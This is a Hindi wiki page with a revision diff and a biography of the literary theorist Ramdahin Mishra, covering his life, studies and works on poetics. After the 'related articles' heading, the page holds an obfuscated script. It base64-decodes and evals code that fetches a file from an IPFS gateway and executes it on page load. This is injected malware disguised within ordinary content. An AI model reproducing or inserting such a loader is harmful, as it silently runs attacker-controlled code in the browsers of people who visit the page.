"प्रयोग:दिनेश" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
पंक्ति 13: पंक्ति 13:
 
रामदहिन मिश्र का [[1 दिसंबर]] [[1952]] को [[वाराणसी]] में देहांत हो गया।
 
रामदहिन मिश्र का [[1 दिसंबर]] [[1952]] को [[वाराणसी]] में देहांत हो गया।
  
 +
{{लेख प्रगति|आधार=|प्रारम्भिक= प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
 +
==टीका टिप्पणी और संदर्भ==
 +
<references/>
 +
==बाहरी कड़ियाँ==
 +
==संबंधित लेख==
 +
{{साहित्यकार}}
 +
[[Category:साहित्यकार]][[Category:लेखक]][[Category:जीवनी साहित्य]][[Category:चरित कोश]][[Category:भारतीय चरित कोश]]
 +
__INDEX__
 +
__NOTOC__
  
  

07:16, 12 जून 2018 का अवतरण

रामदहिन मिश्र (जन्म- 1896 आरा-बिहार, मृत्यु- 1दिसंबर 1952 वाराणसी) अध्यापन, लेखन और प्रकाशन व्यवसाय से जुड़े रहने के साथ-साथ काव्यशास्त्र के क्षेत्र में विख्यात थे।

परिचय

रामदहिन मिश्र का जन्म 1896 ईसवी में आरा जिला (बिहार) के पव्यार ग्राम में हुआ था। इनके पिता सिद्धेश्वर मिश्र डुमराव राज्य के ज्योतिषी थे। इन्होंने प्रारम्भिक शिक्षा घर पर ही ली उसके बाद वाराणसी में न्याय, वेदांत, व्याकरण और अंग्रेजी का अध्ययन किया। कुछ समय तक अध्यापन, लेखन और प्रकाशन व्यवसाय से जुड़े रहने के बाद रामदहिन मिश्र साहित्य- साधना में लग गये।

योगदन

आपने पश्चिमी और पूर्वी साहित्य का तुलनात्मक अध्ययन प्रस्तुत किया जो उस समय नयी दिशा थी। आधुनिक युग के साहित्य को ध्यान में रखते हुए काव्यशास्त्र पर गंभीर रूप से विचार करके आपने बड़ा योगदान दिया है।

रचनाएं

रामदहिन मिश्र की रचनाओं में जो प्रसिद्ध ग्रंथ हैं वह निम्नलिखित हैं

  1. 'काव्य लोक',
  2. 'काव्य दर्पण',
  3. 'काव्य में अप्रस्तुत योजना'
  4. 'काव्य विमर्श'।

मृत्यु

रामदहिन मिश्र का 1 दिसंबर 1952 को वाराणसी में देहांत हो गया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>




काव्यशास्त्र के क्षेत्र में अपने योगदान के लिए प्रसिद्ध रामदहिन मिश्र का जन्म जिला आरा (बिहार) के पव्यार ग्राम में सन 1896 ईसवी में हुआ था। इनके पिता सिद्धेश्वर मिश्र डुमराव राज्य के ज्योतिषी थे। आरंभिक शिक्षा घर पर होने के बाद उन्होंने वाराणसी आकर न्याय, वेदांत, व्याकरण और अंग्रेजी का अध्ययन किया।

       कुछ समय तक अध्यापन, लेखन और प्रकाशन व्यवसाय से जुड़े रहने के बाद रामदहिन मिश्र साहित्य- साधना में लग गये। इनके प्रसिद्ध ग्रंथ है- 'काव्य लोक','काव्य दर्पण', 'काव्य में अप्रस्तुत योजना' और 'काव्य विमर्श'। आधुनिक युग के साहित्य को ध्यान में रखते हुए काव्यशास्त्र पर गंभीर रूप से विचार करने का श्रेय आपको ही है। आपने पश्चिमी और पूर्वी साहित्य का तुलनात्मक अध्ययन प्रस्तुत किया जो उस समय नयी दिशा थी। 1 दिसंबर 1952 को वाराणसी में आपका निधन हो गया।

भारतीय चरित को 732